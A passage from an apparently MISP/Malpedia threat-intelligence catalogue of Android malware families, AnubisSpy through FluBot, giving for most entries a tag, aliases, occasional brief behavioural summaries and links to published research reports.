https://securityboulevard.com/2018/09/android-malware-intercepts-sms-2fa-we-have-the-logs/ [https://securityboulevard.com/2018/09/android-malware-intercepts-sms-2fa-we-have-the-logs/]
https://labs.bitdefender.com/2020/03/android-apps-and-malware-capitalize-on-coronavirus
https://intel-honey.medium.com/reversing-anubis-malware-93f28d154bbb

AnubisSpy

The tag is: *misp-galaxy:malpedia="AnubisSpy"*

AnubisSpy is also known as:

Table 953. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.anubisspy
http://blog.trendmicro.com/trendlabs-security-intelligence/cyberespionage-campaign-sphinx-goes-mobile-anubisspy/
https://documents.trendmicro.com/assets/tech-brief-cyberespionage-campaign-sphinx-goes-mobile-with-anubisspy.pdf

Asacub

The tag is: *misp-galaxy:malpedia="Asacub"*

Asacub is also known as:

Table 954. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.asacub
https://securelist.com/mobile-malware-evolution-2019/96280/
https://securelist.com/the-rise-of-mobile-banker-asacub/87591/

Ashas

The tag is: *misp-galaxy:malpedia="Ashas"*

Ashas is also known as:

Table 955. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.ashas
https://www.welivesecurity.com/2019/10/24/tracking-down-developer-android-adware/

ATANK

According to Lukas Stefanko, this is an open-source crypto-ransomware found on Github in 2018. IT can en/decrypt files (AES, key: 32 random chars, sent to C&C), uses email as contact point but will remove all files after 24 hours or after a reboot.

The tag is: *misp-galaxy:malpedia="ATANK"*

ATANK is also known as:

Table 956. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.atank
https://twitter.com/LukasStefanko/status/1268070798293708800

BADCALL (Android)

The tag is: *misp-galaxy:malpedia="BADCALL (Android)"*

BADCALL (Android) is also known as:

Table 957. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.badcall
https://www.us-cert.gov/ncas/analysis-reports/ar19-252a

BadPatch

The tag is: *misp-galaxy:malpedia="BadPatch"*

BadPatch is also known as:

- WelcomeChat

Table 958. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.badpatch

https://www.welivesecurity.com/2020/07/14/welcome-chat-secure-messaging-app-nothing-further-truth/

Bahamut (Android)

The tag is: *misp-galaxy:malpedia="Bahamut (Android)"*

Bahamut (Android) is also known as:

Table 959. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.bahamut
https://mp.weixin.qq.com/s/YAAybJBAvxqrQWYDg31BBw
https://blog.trendmicro.com/trendlabs-security-intelligence/the-urpage-connection-to-bahamut-confucius-and-patchwork/
https://www.bellingcat.com/resources/case-studies/2017/10/27/bahamut-revisited-cyber-espionage-middle-east-south-asia/
https://www.bellingcat.com/news/mena/2017/06/12/bahamut-pursuing-cyber-espionage-actor-middle-east/
https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-spark-bahamut.pdf
https://blog.cyble.com/2022/06/29/bahamut-android-malware-returns-with-new-spying-capabilities/

Basbanke

The tag is: *misp-galaxy:malpedia="Basbanke"*

Basbanke is also known as:

Table 960. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.basbanke
https://securelist.com/basbanke-trend-setting-brazilian-banking-trojan/90365/
https://twitter.com/LukasStefanko/status/1280243673100402690
https://seguranca-informatica.pt/hackers-are-again-attacking-portuguese-banking-organizations-via-android-trojan-banker/.YHTDZS2tEUE[https://seguranca-informatica.pt/hackers-are-again-attacking-portuguese-banking-organizations-via-android-trojan-banker/.YHTDZS2tEUE]

BianLian

The tag is: *misp-galaxy:malpedia="BianLian"*

BianLian is also known as:

- Hydra

Table 961. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.bianlian
https://cryptax.medium.com/multidex-trick-to-unpack-android-bianlian-ed52eb791e56
https://www.fortinet.com/blog/threat-research/new-wave-bianlian-malware.html
https://www.threatfabric.com/blogs/bianlian_from_rags_to_riches_the_malware_dropper_that_had_a_dream.html
https://cryptax.medium.com/android-bianlian-payload-61febabed00a
https://cryptax.medium.com/creating-a-safe-dummy-c-c-to-test-android-bots-ffa6e7a3dce5
https://cryptax.medium.com/quick-look-into-a-new-sample-of-android-bianlian-bc5619efa726
https://cryptax.medium.com/bianlian-c-c-domain-name-4f226a29e221

BRATA

The tag is: *misp-galaxy:malpedia="BRATA"*

BRATA is also known as:

- AmexTroll

Table 962. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.brata
https://www.threatfabric.com/blogs/brata-a-tale-of-three-families.html
https://securelist.com/spying-android-rat-from-brazil-brata/92775/
https://www.advintel.io/post/economic-growth-digital-inclusion-specialized-crime-financial-cyber-fraud-in-latam
https://www.cleafy.com/cleafy-labs/mobile-banking-fraud-brata-strikes-again
https://www.cleafy.com/cleafy-labs/how-brata-is-monitoring-your-bank-account
https://www.cleafy.com/cleafy-labs/brata-is-evolving-into-an-advanced-persistent-threat

Brunhilda

PRODAFT describes Brunhilda as a "Dropper as a Service" for Google Play, delivering e.g. Alien.

The tag is: *misp-galaxy:malpedia="Brunhilda"*

Brunhilda is also known as:

Table 963. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.brunhilda
https://www.prodaft.com/m/reports/BrunHilda_DaaS.pdf

BusyGasper

The tag is: *misp-galaxy:malpedia="BusyGasper"*

BusyGasper is also known as:

Table 964. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.busygasper
https://securelist.com/busygasper-the-unfriendly-spy/87627/

CapraRAT

The tag is: *misp-galaxy:malpedia="CapraRAT"*

CapraRAT is also known as:

Table 965. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.capra_rat
https://www.trendmicro.com/en_us/research/22/a/investigating-apt36-or-earth-karkaddans-attack-chain-and-malware.html

CarbonSteal

The tag is: *misp-galaxy:malpedia="CarbonSteal"*

CarbonSteal is also known as:

Table 966. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.carbonsteal
https://www.lookout.com/documents/threat-reports/us/lookout-uyghur-malware-tr-us.pdf

Catelites

Catelites Bot (identified by Avast and SfyLabs in December 2017) is an Android trojan, with ties to

CronBot. Once the malicious app is installed, attackers use social engineering tricks and window overlays to get credit card details from the victim. The distribution vector seems to be fake apps from third-party app stores (not Google Play) or via malvertisement. After installation and activation, the app creates fake Gmail, Google Play and Chrome icons. Furthermore, the malware sends a fake system notification, telling the victim that they need to re-authenticate with Google Services and ask for their credit card details to be entered. Currently the malware has overlays for over 2,200 apps of banks and financial institutions.

The tag is: *misp-galaxy:malpedia="Catelites"*

Catelites is also known as:

Table 967. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.catelites
https://www.youtube.com/watch?v=1LOy0ZyjEOk
https://blog.avast.com/new-version-of-mobile-malware-catelites-possibly-linked-to-cron-cyber-gang

Cerberus

The tag is: *misp-galaxy:malpedia="Cerberus"*

Cerberus is also known as:

Table 968. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.cerberus
https://insights.oem.avira.com/in-depth-analysis-of-a-cerberus-trojan-variant/
https://labs.bitdefender.com/2020/09/apps-on-google-play-tainted-with-cerberus-banker-malware/
https://nur.pub/cerberus-analysis
https://securelist.com/the-state-of-stalkerware-in-2021/106193/
https://www.threatfabric.com/blogs/alien_the_story_of_cerberus_demise.html
https://www.forbes.com/sites/zakdoffman/2019/08/16/dangerous-new-android-trojan-hides-from-malware-researchers-and-taunts-them-on-twitter/
https://go.recordedfuture.com/hubfs/reports/cta-2020-1016.pdf
https://bushidotoken.blogspot.com/2020/05/turkey-targeted-by-cerberus-and-anubis.html
https://www.threatfabric.com/blogs/ermac-another-cerberus-reborn.html
https://www.biznet.com.tr/wp-content/uploads/2020/08/Cerberus.pdf
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/04/12075509/EN_The-State-of-Stalkerware-2021.pdf

https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko
https://twitter.com/AndroidCerberus
https://blog.cyberint.com/cerberus-is-dead-long-live-cerberus
https://preyproject.com/blog/en/cerberus-and-alien-the-malware-that-has-put-android-in-a-tight-spot/
https://github.com/ics-iot-bootcamp/cerberus_research
https://www.threatfabric.com/blogs/cerberus-a-new-banking-trojan-from-the-underworld.html
https://www.threatfabric.com/blogs/2020_year_of_the_rat.html
https://community.riskiq.com/article/85b3db8c

Chamois

The tag is: *misp-galaxy:malpedia="Chamois"*

Chamois is also known as:

Table 969. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.chamois
https://www.virusbulletin.com/virusbulletin/2019/01/vb2018-paper-unpacking-packed-unpacker-reversing-android-anti-analysis-native-library/
https://github.com/maddiestone/ConPresentations/blob/master/KasperskySAS2019.Chamois.pdf
https://android-developers.googleblog.com/2017/03/detecting-and-eliminating-chamois-fraud.html

Charger

The tag is: *misp-galaxy:malpedia="Charger"*

Charger is also known as:

Table 970. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.charger
http://blog.checkpoint.com/2017/01/24/charger-malware/
https://www.welivesecurity.com/wp-content/uploads/2019/02/ESET_Android_Banking_Malware.pdf
http://blog.joesecurity.org/2017/01/deep-analysis-of-android-ransom-charger.html

Chinotto (Android)

The tag is: *misp-galaxy:malpedia="Chinotto (Android)"*

Chinotto (Android) is also known as:

Table 971. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.chinotto
https://blog.cyble.com/2021/12/06/apt37-using-a-new-android-spyware-chinotto/
https://securelist.com/scarcruft-surveilling-north-korean-defectors-and-human-rights-activists/105074/

Chrysaor

The tag is: *misp-galaxy:malpedia="Chrysaor"*

Chrysaor is also known as:

- JigglyPuff
- Pegasus

Table 972. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.chrysaor
https://twitter.com/billmarczak/status/1416801439402262529
https://twitter.com/HackSysTeam/status/1418223814387765258?s=20
https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-appendix-d/
https://www.amnesty.org/en/latest/news/2021/07/the-pegasus-project/
https://info.lookout.com/rs/051-ESQ-475/images/lookout-pegasus-android-technical-analysis.pdf
https://thewire.in/media/pegasus-project-spyware-indian-journalists
https://www.cybertrends.it/pegasus-lo-spyware-per-smartphone-come-funziona-e-come-ci-si-puo-proteggere/
https://citizenlab.ca/2022/04/catalangate-extensive-mercenary-spyware-operation-against-catalans-using-pegasus-candiru/
https://threatpost.com/nso-pegasus-spyware-bans-apple-accountability/167965/
https://thewire.in/government/indian-army-bsf-raw-pegasus-spyware-threat
https://www.vice.com/en/article/xgx5bw/amazon-aws-shuts-down-nso-group-infrastructure
https://blog.zecops.com/research/the-recent-ios-0-click-cve-2021-30860-sounds-familiar-an-unreleased-write-up-one-year-later/

https://unit42.paloaltonetworks.com/strategically-aged-domain-detection/
https://thewire.in/rights/sar-geelani-pegasus-spyware-phone-messages
https://irpimedia.irpi.eu/sorveglianze-cy4gate/
https://zetter.substack.com/p/pegasus-spyware-how-it-works-and
https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html
https://thewire.in/government/project-pegasus-journalists-ministers-activists-phones-spying
https://www.washingtonpost.com/world/2021/07/19/india-nso-pegasus/
https://thewire.in/tag/pegasus-project
https://citizenlab.ca/2021/10/breaking-news-new-york-times-journalist-ben-hubbard-pegasus/
https://security.googleblog.com/2017/04/an-investigation-of-chrysaor-malware-on.html
https://www.theguardian.com/world/2021/jul/18/nso-spyware-used-to-target-family-of-jamal-khashoggi-leaked-data-shows-saudis-pegasus
https://forbiddenstories.org/pegasus-the-new-global-weapon-for-silencing-journalists/
https://www.washingtonpost.com/technology/2021/07/18/reactions-pegasus-project-nso/
https://www.cyjax.com/2021/10/26/mercenary-apts-an-exploration/
https://citizenlab.ca/2021/12/pegasus-vs-predator-dissidents-doubly-infected-iphone-reveals-cytrox-mercenary-spyware/
https://www.washingtonpost.com/investigations/2021/07/18/takeaways-nso-pegasus-project/
https://www.washingtonpost.com/investigations/interactive/2021/nso-spyware-pegasus-cellphones/
https://citizenlab.ca/2021/08/bahrain-hacks-activists-with-nso-group-zero-click-iphone-exploits/
https://www.reuters.com/technology/how-saudi-womans-iphone-revealed-hacking-around-world-2022-02-17/
https://www.theguardian.com/news/series/pegasus-project
https://lifars.com/2022/01/forensics-analysis-of-the-nso-groups-pegasus-spyware/
https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-how-to-catch-nso-groups-pegasus/
https://forbiddenstories.org/the-pegasus-project-a-worldwide-collaboration-to-counter-a-global-crime/
https://citizenlab.ca/2018/09/hide-and-seek-tracking-nso-groups-pegasus-spyware-to-operations-in-45-countries/
https://www.trendmicro.com/en_us/research/21/h/confucius-uses-pegasus-spyware-related-lures-to-target-pakistani.html
https://www.theguardian.com/world/2021/jul/18/revealed-leak-uncovers-global-abuse-of-cyber-surveillance-weapon-nso-group-pegasus
https://twitter.com/alexanderjaeger/status/1417447732030189569
https://android-developers.googleblog.com/2017/04/an-investigation-of-chrysaor-malware-on.html

https://citizenlab.ca/2021/07/amnesty-peer-review/
https://arkadiyt.com/2021/07/25/scanning-your-iphone-for-nso-group-pegasus-malware/
https://nex.sx/blog/2021/08/03/the-pegasus-project.html
https://objective-see.com/blog/blog_0x67.html
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://www.bleepingcomputer.com/news/security/google-predator-spyware-infected-android-devices-using-zero-days/
https://www.washingtonpost.com/technology/2021/07/19/apple-iphone-nso/
https://media.ccc.de/v/33c3-7901-pegasus_internals
https://www.lemonde.fr/projet-pegasus/article/2021/07/18/au-maroc-comme-en-france-des-journalistes-mis-sous-surveillance-avec-le-logiciel-pegasus_6088654_6088648.html
https://citizenlab.ca/2020/12/the-great-ipwn-journalists-hacked-with-suspected-nso-group-imessage-zero-click-exploit/
https://citizenlab.ca/2020/01/stopping-the-press-new-york-times-journalist-targeted-by-saudi-linked-pegasus-spyware-operator/
https://citizenlab.ca/2021/11/palestinian-human-rights-defenders-hacked-nso-groups-pegasus-spyware/
https://forbiddenstories.org/about-the-pegasus-project/
https://github.com/AmnestyTech/investigations/tree/master/2021-07-18_nso
https://citizenlab.ca/2022/04/peace-through-pegasus-jordanian-human-rights-defenders-and-journalists-hacked-with-pegasus-spyware/
https://www.bleepingcomputer.com/news/security/iphones-running-latest-ios-hacked-to-deploy-nso-group-spyware/
https://www.theguardian.com/news/2021/jul/18/revealed-murdered-journalist-number-selected-mexico-nso-client-cecilio-pineda-birto
https://www.theguardian.com/news/2021/jul/18/viktor-orban-using-nso-spyware-in-assault-on-media-data-suggests
https://www.trendmicro.com/en_us/research/21/i/analyzing-pegasus-spywares-zero-click-iphone-exploit-forcedentry.html
https://www.washingtonpost.com/investigations/interactive/2021/jamal-khashoggi-wife-fiancee-cellphone-hack/?itid=co_pegasus_5
https://cybergeeks.tech/a-technical-analysis-of-pegasus-for-android-part-1

Clientor

The tag is: *misp-galaxy:malpedia="Clientor"*

Clientor is also known as:

Table 973. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.clientor
https://twitter.com/LukasStefanko/status/1042297855602503681

Clipper

The tag is: *misp-galaxy:malpedia="Clipper"*

Clipper is also known as:

Table 974. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.clipper
https://news.drweb.com/show?lng=en&i=12739
https://www.welivesecurity.com/2019/02/08/first-clipper-malware-google-play/
https://lukasstefanko.com/2019/02/android-clipper-found-on-google-play.html

CloudAtlas

The tag is: *misp-galaxy:malpedia="CloudAtlas"*

CloudAtlas is also known as:

Table 975. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.cloudatlas
https://web.archive.org/web/20160710180729/https://www.bluecoat.com/security-blog/2014-12-09/blue-coat-exposes-%E2%80%9C-inception-framework%E2%80%9D-very-sophisticated-layered-malware

CometBot

The tag is: *misp-galaxy:malpedia="CometBot"*

CometBot is also known as:

Table 976. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.comet_bot
https://twitter.com/LukasStefanko/status/1102937833071935491

Connic

The tag is: *misp-galaxy:malpedia="Connic"*

Connic is also known as:

- SpyBanker

Table 977. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.connic
https://www.welivesecurity.com/2017/12/11/banking-malware-targets-polish-banks/

Coper

Coper is a descendant of ExoBotCompat, which was a rewritten version of Exobot. Malicious Coper apps have a modular architecture and a multi-stage infection mechanism. Coper has originally been spotted in Colombia but has since emerged in Europa as well.

The tag is: *misp-galaxy:malpedia="Coper"*

Coper is also known as:

- ExobotCompact
- Octo

Table 978. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.coper
https://cert-agid.gov.it/news/analisi-e-approfondimenti-tecnici-sul-malware-coper-utilizzato-per-attaccare-dispositivi-mobili/
https://blog.cyble.com/2022/03/24/coper-banking-trojan/
https://threatfabric.com/blogs/octo-new-odf-banking-trojan.html
https://twitter.com/*icebre4ker*/status/1541875982684094465[https://twitter.com/*icebre4ker*/status/1541875982684094465]
https://www.bleepingcomputer.com/news/security/new-android-banking-malware-remotely-takes-control-of-your-device/
https://news.drweb.com/show/?p=0&lng=en&i=14259&c=0
https://thehackernews.com/2022/04/new-octo-banking-trojan-spreading-via.html
https://www.trendmicro.com/en_us/research/22/g/examining-new-dawdropper-banking-dropper-and-daas-on-the-dark-we.html
https://cert.pl/posts/2021/12/aktywacja-aplikacji-iko/

Coronavirus Android Worm

Poses as an app that can offer a "corona safety mask" but phone’s address book and sends sms to contacts, spreading its own download link.

The tag is: *misp-galaxy:malpedia="Coronavirus Android Worm"*

Coronavirus Android Worm is also known as:

Table 979. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.corona_worm
https://www.zscaler.com/blogs/research/new-android-app-offers-coronavirus-safety-mask-delivers-sms-trojan
https://dissectingmalwa.re/jamba-superdeal-helo-sir-you-want-to-buy-mask-corona-safety-mask-sms-scam.html

Cpuminer (Android)

The tag is: *misp-galaxy:malpedia="Cpuminer (Android)"*

Cpuminer (Android) is also known as:

Table 980. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.cpuminer
https://blog.trendmicro.com/trendlabs-security-intelligence/coin-miner-mobile-malware-returns-hits-google-play/

CryCryptor

The tag is: *misp-galaxy:malpedia="CryCryptor"*

CryCryptor is also known as:

- CryCrypter
- CryDroid

Table 981. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.crycryptor
https://www.welivesecurity.com/2020/06/24/new-ransomware-uses-covid19-tracing-guise-target-canada-eset-decryptor/

CyberAzov

The tag is: *misp-galaxy:malpedia="CyberAzov"*

CyberAzov is also known as:

Table 982. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.cyber_azov
https://blog.google/threat-analysis-group/continued-cyber-activity-in-eastern-europe-observed-by-tag/
https://blog.google/threat-analysis-group/continued-cyber-activity-in-eastern-europe-observed-by-tag
https://twitter.com/sekoia_io/status/1554086468104196096

Dark Shades

The tag is: *misp-galaxy:malpedia="Dark Shades"*

Dark Shades is also known as:

- Rogue

Table 983. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.darkshades
https://twitter.com/LukasStefanko/status/1252163657036976129

DawDropper

The tag is: *misp-galaxy:malpedia="DawDropper"*

DawDropper is also known as:

Table 984. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.dawdropper
https://www.trendmicro.com/en_us/research/22/g/examining-new-dawdropper-banking-dropper-and-daas-on-the-dark-we.html

DEFENSOR ID

The tag is: *misp-galaxy:malpedia="DEFENSOR ID"*

DEFENSOR ID is also known as:

- Defensor Digital

Table 985. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.defensor_id
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://www.welivesecurity.com/2020/05/22/insidious-android-malware-gives-up-all-malicious-features-but-one-gain-stealth/

Dendroid

The tag is: *misp-galaxy:malpedia="Dendroid"*

Dendroid is also known as:

Table 986. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.dendroid
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=a29d7d7a-f150-46cf-9bb9-a1f9f4d32a80&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments

dmsSpy

The tag is: *misp-galaxy:malpedia="dmsSpy"*

dmsSpy is also known as:

Table 987. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.dmsspy
https://blog.trendmicro.com/trendlabs-security-intelligence/operation-poisoned-news-hong-kong-users-targeted-with-mobile-malware-via-local-news-links/
https://documents.trendmicro.com/assets/Tech-Brief-Operation-Poisoned-News-Hong-Kong-Users-Targeted-with-Mobile-Malware-via-Local-News-Links.pdf
https://securelist.com/ios-exploit-chain-deploys-lightspy-malware/96407/

DoubleAgent

The tag is: *misp-galaxy:malpedia="DoubleAgent"*

DoubleAgent is also known as:

Table 988. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.doubleagent
https://www.lookout.com/documents/threat-reports/us/lookout-uyghur-malware-tr-us.pdf

DoubleLocker

The tag is: *misp-galaxy:malpedia="DoubleLocker"*

DoubleLocker is also known as:

Table 989. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.doublelocker
https://www.welivesecurity.com/2017/10/13/doublelocker-innovative-android-malware/

Dracarys

Android malware that impersonates genuine applications such as Signal, Telegram, WhatsApp, YouTube, and other chat applications and distributes through phishing sites.

The tag is: *misp-galaxy:malpedia="Dracarys"*

Dracarys is also known as:

Table 990. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.dracarys
https://blog.cyble.com/2022/08/09/bitter-apt-group-using-dracarys-android-spyware/

DroidJack

The tag is: *misp-galaxy:malpedia="DroidJack"*

DroidJack is also known as:

Table 991. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.droidjack
https://www.stratosphereips.org/blog/2021/1/22/analysis-of-droidjack-v44-rat-network-traffic

DroidWatcher

The tag is: *misp-galaxy:malpedia="DroidWatcher"*

DroidWatcher is also known as:

Table 992. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.droidwatcher
https://documents.trendmicro.com/assets/white_papers/wp-void-balaur-tracking-a-cybermercenarys-activities.pdf

DualToy (Android)

The tag is: *misp-galaxy:malpedia="DualToy (Android)"*

DualToy (Android) is also known as:

Table 993. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.dualtoy
http://researchcenter.paloaltonetworks.com/2016/09/dualtoy-new-windows-trojan-sideloads-risky-apps-to-android-and-ios-devices/

Dvmap

The tag is: *misp-galaxy:malpedia="Dvmap"*

Dvmap is also known as:

Table 994. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.dvmap
https://securelist.com/mobile-malware-evolution-2019/96280/
https://securelist.com/dvmap-the-first-android-malware-with-code-injection/78648/

Elibomi

The tag is: *misp-galaxy:malpedia="Elibomi"*

Elibomi is also known as:

* Drinik

Table 995. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.elibomi
https://blog.cyble.com/2021/09/07/fake-income-tax-application-targets-indian-taxpayers/
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/phishing-android-malware-targets-taxpayers-in-india/

ERMAC

The tag is: *misp-galaxy:malpedia="ERMAC"*

ERMAC is also known as:

Table 996. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.ermac
https://twitter.com/ESETresearch/status/1445618031464357888
https://blog.cyble.com/2022/05/25/ermac-back-in-action/
https://www.threatfabric.com/blogs/ermac-another-cerberus-reborn.html
https://intel471.com/blog/rmac-2-0-perfecting-the-art-of-account-takeover

Eventbot

According to ThreatFabric, the app overlays 15 financial targets from UK, Italy, and Spain, sniffs 234 apps from banks located in Europe as well as crypto wallets.

The tag is: *misp-galaxy:malpedia="Eventbot"*

Eventbot is also known as:

Table 997. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.eventbot
https://www.youtube.com/watch?v=qqwOrLR2rgU
https://twitter.com/ThreatFabric/status/1240664876558823424
https://www.cybereason.com/blog/eventbot-a-new-mobile-banking-trojan-is-born

ExoBot

The tag is: *misp-galaxy:malpedia="ExoBot"*

ExoBot is also known as:

Table 998. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.exobot
https://securityintelligence.com/ibm-x-force-delves-into-exobots-leaked-source-code/
https://www.bleepingcomputer.com/news/security/source-code-for-exobot-android-banking-trojan-leaked-online/
https://www.bleepingcomputer.com/news/security/exobot-author-calls-it-quits-and-sells-off-banking-trojan-source-code/
https://blog.cyble.com/2022/03/24/coper-banking-trojan/
https://threatfabric.com/blogs/octo-new-odf-banking-trojan.html
https://www.bleepingcomputer.com/news/security/new-android-banking-malware-remotely-takes-control-of-your-device/
https://www.bleepingcomputer.com/news/security/new-exo-android-trojan-sold-on-hacking-forums-dark-web/

Exodus

The tag is: *misp-galaxy:malpedia="Exodus"*

Exodus is also known as:

Table 999. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.exodus
https://motherboard.vice.com/en_us/article/43z93g/hackers-hid-android-malware-in-google-play-store-exodus-esurv
https://securitywithoutborders.org/blog/2019/03/29/exodus.html
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://motherboard.vice.com/en_us/article/eveeq4/prosecutors-investigation-esurv-exodus-malware-on-google-play-store

FaceStealer

Facebook Credential Stealer.

The tag is: *misp-galaxy:malpedia="FaceStealer"*

FaceStealer is also known as:

Table 1000. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/apk.facestealer
https://www.trendmicro.com/en_us/research/22/e/fake-mobile-apps-steal-facebook-credentials—crypto-related-keys.html
https://labs.k7computing.com/index.php/facestealer-the-rise-of-facebook-credential-stealer-malware/
https://threatpost.com/facestealer-trojan-google-play-facebook/179015/

FakeAdBlocker

The tag is: *misp-galaxy:malpedia="FakeAdBlocker"*

FakeAdBlocker is also known as:

Table 1001. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.fakeadblocker
https://www.welivesecurity.com/2021/07/20/url-shortener-services-android-malware-banking-sms-trojans/

FakeSpy

The tag is: *misp-galaxy:malpedia="FakeSpy"*

FakeSpy is also known as:

Table 1002. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.fakespy
https://www.trendmicro.com/en_us/research/18/f/fakespy-android-information-stealing-malware-targets-japanese-and-korean-speaking-users.html
https://www.trendmicro.com/en_us/research/18/k/a-look-into-the-connection-between-xloader-and-fakespy-and-their-possible-ties-with-the-yanbian-gang.html
https://medium.com/csis-techblog/the-roamingmantis-groups-expansion-to-european-apple-accounts-and-android-devices-e6381723c681
https://blog.trendmicro.com/trendlabs-security-intelligence/fakespy-android-information-stealing-malware-targets-japanese-and-korean-speaking-users/
https://blog.trendmicro.com/trendlabs-security-intelligence/a-look-into-the-connection-between-xloader-and-fakespy-and-their-possible-ties-with-the-yanbian-gang/

FakeGram

The tag is: *misp-galaxy:malpedia="FakeGram"*

FakeGram is also known as:

- FakeTGram

Table 1003. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.faketgram
https://blog.talosintelligence.com/2018/11/persian-stalker.html

FileCoder

The tag is: *misp-galaxy:malpedia="FileCoder"*

FileCoder is also known as:

Table 1004. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.filecoder
https://www.welivesecurity.com/2019/07/29/android-ransomware-back/

FinFisher (Android)

The tag is: *misp-galaxy:malpedia="FinFisher (Android)"*

FinFisher (Android) is also known as:

Table 1005. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.finfisher
https://github.com/linuzifer/FinSpy-Dokumentation
https://netzpolitik.org/2020/our-criminal-complaint-german-state-malware-company-finfisher-raided/
https://securelist.com/finspy-unseen-findings/104322/
https://securelist.com/new-finspy-ios-and-android-implants-revealed-itw/91685/
https://raw.githubusercontent.com/DefensiveLabAgency/FinSpy-for-Android/master/20200806_finspy_android_analysis_public_release.pdf
https://www.amnesty.org/en/latest/research/2020/09/german-made-finspy-spyware-found-in-egypt-and-mac-and-linux-versions-revealed/

FlexiSpy (Android)

The tag is: *misp-galaxy:malpedia="FlexiSpy (Android)"*

FlexiSpy (Android) is also known as:

Table 1006. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.flexispy
https://www.randhome.io/blog/2017/04/23/lets-talk-about-flexispy/
https://mobisec.reyammer.io/slides

FlexNet

The tag is: *misp-galaxy:malpedia="FlexNet"*

FlexNet is also known as:

- gugi

Table 1007. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.flexnet
https://securelist.com/mobile-malware-evolution-2019/96280/
https://twitter.com/LukasStefanko/status/886849558143279104

FluBot

PRODAFT describes FluBot as a banking malware which originally targeted Spain. Since the first quarter of 2021 it has been targeting many other European countries as well as Japan. It uses a DGA for it's C&C and relies on both DNS and DNS-over-HTTPS for name resolution. Despite arrests of multiple people suspected of involvement with this malware in March of 2021, the campaign has only intensified since.

The tag is: *misp-galaxy:malpedia="FluBot"*

FluBot is also known as:

- Cabassous
- FakeChat

Table 1008. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.flubot
https://medium.com/csis-techblog/the-brief-glory-of-cabassous-flubot-a-private-android-banking-botnet-bc2ed7917027

https://www.bitdefender.com/blog/labs/new-flubot-and-teabot-global-malware-campaigns-discovered
